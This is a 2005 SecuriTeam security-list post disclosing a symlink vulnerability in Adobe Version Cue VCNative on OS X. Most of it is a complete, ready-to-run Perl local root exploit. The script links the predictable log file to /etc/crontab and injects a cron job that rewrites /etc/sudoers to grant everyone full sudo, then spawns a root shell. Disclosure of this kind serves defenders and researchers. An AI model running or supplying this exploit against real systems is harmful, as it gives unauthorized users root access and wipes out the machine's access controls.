[EXPL] Adobe Version Cue VCNative Symlink Attack (Exploit)

SecuriTeam <[email protected]> 5 Sep 2005 11:06:11 +0200
Newsgroups gmane.comp.security.securiteam
Message-ID <[email protected]>
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  Adobe Version Cue VCNative Symlink Attack (Exploit)
------------------------------------------------------------------------


SUMMARY

" <http://www.adobe.com/products/creativesuite/versioncue.html> Adobe 
Version Cue is a software version tracking system for Adobe products 
distributed with Adobe Creative Suite and select Adobe products."

Lack of random name generation allows attackers to perform a symlink 
attack using Adobe Version Cue VCNative, the following exploit code can be 
used to test your system for the mentioned vulnerability.

DETAILS

Vulnerable Systems:
 * Adobe Version Cue version 1 on the Apple OS X platform

Exploit:
------------------------ xosx-adobe-vcnative.pl ------------------------

#!/usr/bin/perl
#
# Adobe Version Cue VCNative[OSX]: local root exploit.
#
# by: vade79/v9 v9 at fakehalo.us (fakehalo/realhalo)
#
# Adobe Version Cue's VCNative program writes data to a log file in
# the current working directory while running as (setuid) root.  the
# logfile is formated as <cwd>/VCNative-<pid>.log, which is easily
# predictable.  you may link this file to any file on the system
# and overwrite its contents.  use of the "-host" option (with
# "-port") will allow user-supplied data to be injected into the
# file.
#
# This exploit works by overwriting /etc/crontab with
# '* * * * * root echo "ALL ALL=(ALL) ALL">/etc/sudoers' and
# log garbage.  within a short period of time crontab will overwrite
# /etc/sudoers and "sudo sh" to root is possible.  this method is used
# because direct overwriting of /etc/sudoers will cause sudo to exit
# with configuration errors due to the log garbage, whereas crontab
# will ignore it. (this exploit requires both cron to be running and
# sudo to exist--this is generally default osx)

use POSIX;

$vcn_path="/Applications/Adobe Version Cue/tomcat/webapps/ROOT/" .
 "WEB-INF/components/com.adobe.bauhaus.nativecomm/res/VCNative";
$vcn_pid=($$ + 1);
$vcn_cwd="/tmp";
$vcn_tempfile="$vcn_cwd/VCNative-$vcn_pid\.log";
$ovrfile="/etc/crontab";
$ovrstr="* * * * * root echo \\\"ALL ALL=(ALL) ALL\\\">/etc/sudoers";

sub pexit{print("[!] @_.\n");exit(1);}
print("[*] Adobe Version Cue VCNative[OSX]: local root exploit.\n");
print("[*] by: vade79/v9 v9\@fakehalo.us (fakehalo/realhalo)\n\n");
if(!-f $vcn_path){
 pexit("VCNative binary doesn't appear to exist");
}
if(!-f"/etc/crontab"||!-f"/etc/sudoers"){
 pexit("/etc/crontab and /etc/sudoers are required for this to work");
}
print("[*] sym-linking $ovrfile -> $vcn_tempfile.\n");
symlink($ovrfile,$vcn_tempfile)||pexit("couldn't link files.");
@ast=stat($ovrfile);
print("[*] running VCNative...\n");
system("\"$vcn_path\" -cwd $vcn_cwd -port 1 -host \"\n\n$ovrstr\n\n\"");
print("[*] removing $vcn_tempfile...\n");
unlink($vcn_tempfile);
@st=stat($ovrfile);
if($st[7]==$ast[7]&&$st[9]==$ast[9]){
 pexit("$ovrfile was not modified, exploit failed");
}
else{
 print("[*] $ovrfile was overwritten successfully...\n");
}
print("[*] waiting for crontab to change /etc/sudoers...\n");
@ast=@st=stat("/etc/sudoers");
while($st[7]==$ast[7]&&$st[9]==$ast[9]){
 sleep(1);
 @ast=stat("/etc/sudoers");
}
print("[*] /etc/sudoers has been modified.\n");
print("[*] attempting to \"sudo sh\". (use YOUR password)\n");
system("sudo sh");
exit(0);
# EoF


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> v9.



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